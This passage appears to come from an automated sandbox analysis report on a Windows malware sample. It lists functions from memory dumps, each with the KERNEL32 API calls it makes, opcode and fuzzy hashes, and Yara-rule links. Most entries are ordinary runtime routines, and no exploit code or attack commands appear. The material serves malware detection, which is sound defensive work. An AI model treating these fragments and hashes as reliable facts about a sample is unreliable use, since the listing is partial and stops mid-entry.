Function 00413464 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,0041345F,?,?,?,?,?,?,00000000), ref: 00413691

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction ID: 6ec3c976dce2682dd88875b4e128dc3c32af3424619db8197fd5d39c2f428c0e
Opcode Fuzzy Hash: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction Fuzzy Hash: 05B16E71210604DFD715CF28C48ABA57BE1FF05365F258659E8AACF3A1C339EA82CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00408873 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00408889

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 04d4c15717e0eb0a9da5fd3b40b00c7a7a9904e6caa8d1284099983198fdd583
Instruction ID: bc312be223815807eab5e56163a5e2c6ed615bce974a54a63d32a9d4517a2c7b
Opcode Fuzzy Hash: 04d4c15717e0eb0a9da5fd3b40b00c7a7a9904e6caa8d1284099983198fdd583
Instruction Fuzzy Hash: C45169B1A01306CBDB28CF55D981BAABBF0FB48354F24843ED851EB390D7789941CB59

Uniqueness

Uniqueness Score: -1.00%

Function 03688F5A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

Part of subcall function 03680FA7: _free.LIBCMT ref: 03681009
Part of subcall function 03680FA7: _free.LIBCMT ref: 0368103F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03688FAE

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 5bc436174cc0e3a881d60d03eb371d5cf67ba4087f83f3c4aef7badf7c865cd7
Instruction ID: d2a4ddf211ac390b0c1ba295c0e2613aa7543c7ab65e91a2a3ba509c8d1707af
Opcode Fuzzy Hash: 5bc436174cc0e3a881d60d03eb371d5cf67ba4087f83f3c4aef7badf7c865cd7
Instruction Fuzzy Hash: DB21D332610206ABDB28FF14CD40ABA73ECEF49314B14027EED01DB250EB34D9459B54

Uniqueness

Uniqueness Score: -1.00%

Function 00418CF3 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418D47

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 4a26e9cc83b0c5b7c0cae7737812cc2a61a03380ce254b0199f7d4368ed217dd
Instruction ID: ce22171d55e0af017fb17ca71511384353f174c05c1c03d6f451f39d0992cc54
Opcode Fuzzy Hash: 4a26e9cc83b0c5b7c0cae7737812cc2a61a03380ce254b0199f7d4368ed217dd
Instruction Fuzzy Hash: 80218372610206ABDB289F25EC41AFB77A8EF54314F10007FFD05D6281EF78ED818659

Uniqueness

Uniqueness Score: -1.00%

Function 03688BE1 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

EnumSystemLocalesW.KERNEL32(00418AA0,00000001,00000000,?,-00000050,?,03689335,00000000,?,?,?,00000055,?), ref: 03688C53

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction ID: 4caf8ff70169dd894e02f4ba652ce6cdd4bc0ac97b211e7820a3da6d396a3966
Opcode Fuzzy Hash: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction Fuzzy Hash: E811293A2003019FDB18EF38C9905BAB7A5FF88359B58452DD98687B40D3716442C740

Uniqueness

Uniqueness Score: -1.00%

Function 0041897A Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418AA0,00000001,00000000,?,-00000050,?,004190CE,00000000,?,?,?,00000055,?), ref: 004189EC

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction ID: b17a39ce31c45acbe1e2818b22c08fed44677eae2b242624d171db0069602395
Opcode Fuzzy Hash: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction Fuzzy Hash: 6911E5766107019FDB189F39D8916FBBB91FF80358B18442EE94787B40DB75B982CB44

Uniqueness

Uniqueness Score: -1.00%

Function 03689186 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,03688F23,00000000,00000000,?), ref: 036891B2

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction ID: 7eafec67b0909d32ee6d4257adb254627f74609a42933fbbde89cd8e627c3d01
Opcode Fuzzy Hash: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction Fuzzy Hash: DFF0F936A14211BBDB24F7648D09ABEBF98DB44758F184529DC82A3640DB74FA41C590

Uniqueness

Uniqueness Score: -1.00%

Function 00418F1F Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00418CBC,00000000,00000000,?), ref: 00418F4B

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction ID: 0926ee73390869665b5f2bb74d6bf307d48cedc2f3589178bc3eb242e6ba615c
Opcode Fuzzy Hash: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction Fuzzy Hash: 95F0F436B40115BBDB285B61C805BFB7769EB40358F1C442EEC06A3280EE78FE82C694

Uniqueness

Uniqueness Score: -1.00%

Function 03688C7C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

EnumSystemLocalesW.KERNEL32(00418CF3,00000001,00000003,?,-00000050,?,036892F9,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 03688CC6

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction ID: 4695c0e980d04fd68c167cb0e2660b599686a8129f6840f48d982f1de5e98a30
Opcode Fuzzy Hash: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction Fuzzy Hash: 49F046363003046FDB14BF39CD80A7A7BD5FF85328F18856CFA018BA80D6B1A802C654

Uniqueness

Uniqueness Score: -1.00%

Function 00418A15 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418CF3,00000001,00000003,?,-00000050,?,00419092,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00418A5F

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction ID: 478162f42851c0ca8c2573bd03bd8f545336c01413021e0a340656d178cafc13
Opcode Fuzzy Hash: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction Fuzzy Hash: 7EF0C2362003046FDB249F39D881ABA7B95EF807A8F15442EF9458B690DBB5AD81C658

Uniqueness

Uniqueness Score: -1.00%

Function 03681509 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0367CE39: RtlEnterCriticalSection.NTDLL(?), ref: 0367CE48

EnumSystemLocalesW.KERNEL32(00411295,00000001,00429320,0000000C,03681927,?), ref: 03681541

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction ID: a6306ac4fa4e1ffaccf92644c6914f3b5ea1909495f47b3a32f8023509909d7b
Opcode Fuzzy Hash: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction Fuzzy Hash: C0F049B6B40314EFD710EF98E846B9D77F0EB09721F50812FE414DB2A0CB7559458B99

Uniqueness

Uniqueness Score: -1.00%

Function 004112A2 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0040CBD2: EnterCriticalSection.KERNEL32(?,?,0040DD30,00000000,004291C0,0000000C,0040DCF7,?,?,00411231,?,?,00410EE2,00000001,00000364,00000008), ref: 0040CBE1

EnumSystemLocalesW.KERNEL32(Function_00011295,00000001,00429320,0000000C,004116C0,?), ref: 004112DA

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction ID: 2fad073ecbef307a0d6f111d51cdaffc79e950b14030b6703a22260b0b619bdf
Opcode Fuzzy Hash: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction Fuzzy Hash: 1EF03C76B40254EFD710EF58E842B9D77F0EB44724F10816FE914AB2E0CB7959458B49

Uniqueness

Uniqueness Score: -1.00%

Function 03688B96 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

EnumSystemLocalesW.KERNEL32(00418888,00000001,00000003,?,?,03689357,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 03688BCD

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction ID: 8884d8593f2c397b9eebf66e7a429e8fce48b98f8bb3daa48f9bfb73bd04982c
Opcode Fuzzy Hash: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction Fuzzy Hash: F3F0553A30020867CB04FF39DC04AAA7FA4EFC6724B4A809CEA058B240C6759842C790

Uniqueness

Uniqueness Score: -1.00%

Function 0041892F Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418888,00000001,00000003,?,?,004190F0,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00418966

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction ID: 434bd90f9414b98808150305246e1d0cb3661f0e8a735056172e9d40366ebd18
Opcode Fuzzy Hash: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction Fuzzy Hash: 66F0553A30020457CB04AF35E8056BBBF90EFC2760B0A405EFA098B650CA799C82CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03681A2B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,03680009,?,20001004,00000000,00000002,?,?,0367F616), ref: 03681A5F

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4c789af67278788dffe9a087bd2880ff700be03534d4701b505ff5e7740c75a
Instruction ID: 7be4c82e714b6c04c69db58ba26913eb705a6a36c63eed407943952165761ef0
Opcode Fuzzy Hash: e4c789af67278788dffe9a087bd2880ff700be03534d4701b505ff5e7740c75a
Instruction Fuzzy Hash: D0E0867550021CBBCF12BF60DC08EDE7F66EF49760F048124FD4565224DB7289229AD8

Uniqueness

Uniqueness Score: -1.00%

Function 004117C4 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0040FDA2,?,20001004,00000000,00000002,?,?,0040F3AF), ref: 004117F8

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7dfd2f7fe9333bcd9ab1f1e649f3dfd416cee645eef405dfc41d56f5540eb6f2
Instruction ID: f1ffad9f7493a20e1e47896534fb325b68066d6c8e44c3ca6cb9becada3ee989
Opcode Fuzzy Hash: 7dfd2f7fe9333bcd9ab1f1e649f3dfd416cee645eef405dfc41d56f5540eb6f2
Instruction Fuzzy Hash: 42E04F7160012DBBCF122F61DC04EDE7F16EF44760F008026FE2565270CB3A8961AA9D

Uniqueness

Uniqueness Score: -1.00%

Function 03678A70 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00408815,03678652), ref: 03678A75

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction ID: 88ea734170ceb8da17e4ae8e7696b0f7264f27bf5bd06e65ff9b2a7556fbe227
Opcode Fuzzy Hash: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00408809 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008815,004083EB), ref: 0040880E

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction ID: 88ea734170ceb8da17e4ae8e7696b0f7264f27bf5bd06e65ff9b2a7556fbe227
Opcode Fuzzy Hash: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03679AC7 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

wB, xrefs: 03679ACB

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID: wB
API String ID: 0-480074513
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 9698f2ac455cdfffe9269d80769da3d28003f588eed865049a214a35276a01e8
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 0211C47720104143D618CA3DDABC6BBE7EAEBC6B20BAD436AD0418B758D332E145D600

Uniqueness

Uniqueness Score: -1.00%

Function 00416A7C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00416A7C

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: be0d64fc628961a75c7fea696ec86539ed3f2f6f90ec2866f805486d45399620
Instruction ID: 9a80fc1e86b51b65d844f4e1b3b296cb5ecca0acffe3ceb98a2f460cf26000b7
Opcode Fuzzy Hash: be0d64fc628961a75c7fea696ec86539ed3f2f6f90ec2866f805486d45399620
Instruction Fuzzy Hash: 83A011B0A002088B83008F30AE083083EA8BA082E0B808238A000C2020EB208002AA08

Uniqueness

Uniqueness Score: -1.00%

Function 00421D42 Relevance: 1.2, Instructions: 1240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92eb97faa585322f45f7fb8420ea7d540b458c1591536db9958a69519d6dbc9
Instruction ID: c0053dd0554d4784ef2045a8a208c3e29092e59470b1336dba1b24350bc7481d
Opcode Fuzzy Hash: a92eb97faa585322f45f7fb8420ea7d540b458c1591536db9958a69519d6dbc9
Instruction Fuzzy Hash: 6AB2969694E7D21FD7178B742E39644BF706A2311478E86DFC4C5CF8A3E24C990AC36A

Uniqueness

Uniqueness Score: -1.00%

Function 00413C49 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 656f4a777774534caa05a715824ad20497830ec17b4398a361ec3e82dfec4615
Instruction ID: ce91a84200b12bb3e65472564ab51a4661800a2c0db6da400fdd48d9a081512b
Opcode Fuzzy Hash: 656f4a777774534caa05a715824ad20497830ec17b4398a361ec3e82dfec4615
Instruction Fuzzy Hash: E332F331E29F414DD7339634C822336A688AFB73D9F55D737E819B5AA6EB28D4C34108

Uniqueness

Uniqueness Score: -1.00%

Function 00409860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: c224a7b1d3b2b472e7c4d78a28fe39c54548d5fa19f656e8a42d0415e5b22b21
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 891138B722018243E6049A2DC8F45B7A395EBC732172CC37BD0426B7CAD23AEC45A608

Uniqueness

Uniqueness Score: -1.00%

Function 01B2F103 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1835201448.0000000001B2F000.00000040.00000020.00020000.00000000.sdmp, Offset: 01B2F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b2f000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 38fc0ae862ffd2907b00d28b18176e38c10a19eaeb506e53a22b41c2bb50f437
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 20118272340111AFEB44DF5ADC81FB673EAEB8D261B6981A9ED08CB315D775E802C760

Uniqueness

Uniqueness Score: -1.00%

Function 03670D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 63068da851f152e29932ce0990b925aa68e63546abd9bdd4391602107975269c
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 2D01A276A106048FDF21CF64CD04BAB73E9EB86216F9944E5D90A97381E774A9418FA0

Uniqueness

Uniqueness Score: -1.00%

Function 036813F9 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction ID: c77076dbabf0ce58a13f9c73310ef5067dce185e4ac29d0a907d0bdee98dfdb6
Opcode Fuzzy Hash: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction Fuzzy Hash: CAE08C72911228EBCB24EB88C904D8AF3FCEB4EB00B1549AAF912D3200C274DE41C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00411192 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

